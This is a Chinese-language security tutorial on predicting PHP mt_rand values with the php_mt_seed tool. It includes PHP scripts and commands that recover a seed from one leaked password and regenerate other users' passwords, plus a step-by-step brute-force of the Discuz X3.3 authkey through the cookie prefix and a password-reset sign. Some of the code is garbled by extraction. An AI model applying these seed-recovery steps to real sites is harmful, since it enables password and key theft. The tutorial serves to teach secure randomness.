php_mt_seed应用场景
直接使用mt_rand生成的随机数
假设下面的代码为用户密码的随机生成代码:
<?php
function user_password() {
return mt_rand();
}
echo user_password(), "\n";
echo user_password(), "\n";
echo user_password(), "\n";
运行后我们可以得到三个用户的密码
假设我们现在得到了第一个用户的密码:1412203388
通过这个密码我们可以猜测出后面两个用户的密码。
下面我们运行php_mt_seed找出seed,命令如下:
./php_mt_seed.exe 1412203388
这里我用于测试的服务器的PHP版本为5.4.45,那么seed就可能是2078089285,下面写一段PHP代码来测试一下。
<?php
mt_srand(2078089285);//手工播种
for($i=0;$i<3;$i++){
echo mt_rand()." ";
}
完全解密了其它两个用户的密码。
使用经过转换后的mt_rand随机序列
下面是我们更常见到的生成随机数的代码:
<?php
function user_password($length = 10) {
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
$pass = '';
for ($i = 0; $i < $length; $i++) {
$pass .= $allowable_characters[mt_rand(0, $len)];
}
return $pass;
}
mt_srand(time());
echo user_password(), "\n";
echo user_password(), "\n";
echo user_password(), "\n";
?>
运行后我们可以得到三个用户的密码:
假设我们现在得到了第一个用户的密码:paJHuuKv3H
我们要写一个程序,先是把字母还原成为生成的随机数,然后在拼接成php_mt_seed需要的参数。代码如下:
<?php
$pass_now = "paJHuuKv3H";
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
for($j = 0; $j < strlen($pass_now); $j++)
{
for ($i = 0; $i < $len; $i++) {
if($pass_now[$j] == $allowable_characters[$i])
{
echo "$i $i 0 56 ";
break;
}
}
}
执行如下命令:
./php_mt_seed.exe 14 14 0 56 0 0 0 56 33 33 0 56 32 32 0 56 19 19 0 56 19 19 0 56 34 34 0 56 20 20 0 56 50 50 0 56 32 32 0 56
运行结果如下:
得到seed为1544796235,写解密代码如下:
<?php
function user_password($length = 10) {
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
$pass = '';
for ($i = 0; $i < $length; $i++) {
$pass .= $allowable_characters[mt_rand(0, $len)];
}
return $pass;
}
mt_srand(1544796235);
echo user_password(), "\n";
echo user_password(), "\n";
echo user_password(), "\n";
完全解密了其它两个用户的密码。
下面列出一个实际的例子:
Discuz X3.3 authkey生成算法的安全性漏洞
这里只做简要介绍,如需查看详细内容请看参考文献3。
Discuz官方于2017年8月1号发布最新版X3.4版本,在最新版本中修复了多个安全问题。
用户在初次安装软件时,系统会自动生成一个authkey写入全局配置文件和数据库,之后安装文件会被删除。该authkey用于对普通用户的cookie进行加密等密码学操作,但是由于生成算法过于简单,可以利用公开信息进行本地爆破。
Discuz_X3.3_SC_UTF8uploadinstallindex.php中authkey的生成方法如下:
a
u
t
h
k
e
y
=
s
u
b
s
t
r
(
m
d
5
(
authkey = substr(md5(
authkey=substr(md5(_SERVER[‘SERVER_ADDR’].
S
E
R
V
E
R
[
′
H
T
T
P
U
S
E
R
A
G
E
N
T
′
]
.
_SERVER['HTTP_USER_AGENT'].
SERVER[′HTTPUSERAGENT′].dbhost.
d
b
u
s
e
r
.
dbuser.
dbuser.dbpw.
d
b
n
a
m
e
.
dbname.
dbname.username.
p
a
s
s
w
o
r
d
.
password.
password.pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
可以看出authkey主要由两部分组成:
MD5的一部分(前6位) + random生成的10位
跟入random函数:
由于字符生成集合是固定的,且没有重复字符,那么函数中每一次生成hash都唯一对应了chars数组中的一个位置,而且是使用同一个seed生成的。
在之后的代码中使用了同样的random函数:
$config[‘cookie’][‘cookiepre’] = random(4).’’;
Cookie的前四个字节是已知的,并且使用了同样的random函数,那么思路很明显:
通过已知的4位,算出random使用的种子,进而得到authkey后10位。那剩下的就需要搞定前6位,根据其生成算法,只好选择爆破的方式,由于数量太大,就一定要选择一个本地爆破的方式(即使用到authkey而且加密后的结果是已知的)。
在调用authcode函数很多的地方都可以进行校验,在这里使用找回密码链接中的id和sign参数。
sign生成的方法如下:
function dsign($str, $length = 16){
return substr(md5( s t r . g e t g l o b a l ( ′ c o n f i g / s e c u r i t y / a u t h k e y ′ ) ) , 0 , ( str.getglobal('config/security/authkey')), 0, ( str.getglobal(′config/security/authkey′)),0,(length ? max(8, $length) : 16));
}
爆破authkey 的流程:
1.通过cookie前缀爆破随机数的seed。使用php_mt_seed工具。
2.用seed生成random(10),得到所有可能的authkey后缀。
3.给自己的账号发送一封找回密码邮件,取出找回密码链接。
4.用生成的后缀爆破前6位,范围是0×000000-0xffffff,和找回密码url拼接后做MD5求出sign。
5.将求出的sign和找回密码链接中的sign对比,相等即停止,获取当前的authkey。
总结
说了这么多,那到底随机数怎么不安全了呢?其实函数本身没有问题,官方也明确提示了生成的随机数不应用于安全加密用途(虽然中文版本manual没写)。问题在于开发者并没有意识到这并不是一个真随机数 。我们已经知道,通过已知的随机数序列可以爆破出种子。也就是说,只要任意页面中存在输出随机数或者其衍生值(可逆推随机值),那么其他任意页面的随机数将不再是“随机数”。常见的输出随机数的例子比如验证码,随机文件名等等。常见的随机数用于安全验证的比如找回密码校验值,比如加密key等等。PHP随机数的应用范围很广,很多知名的程序也出现过很多严重的问题,但是,目前这个方面还是没有得到足够的重视,一定还有很多很多地方存在着类似的漏洞等待着我们去发现。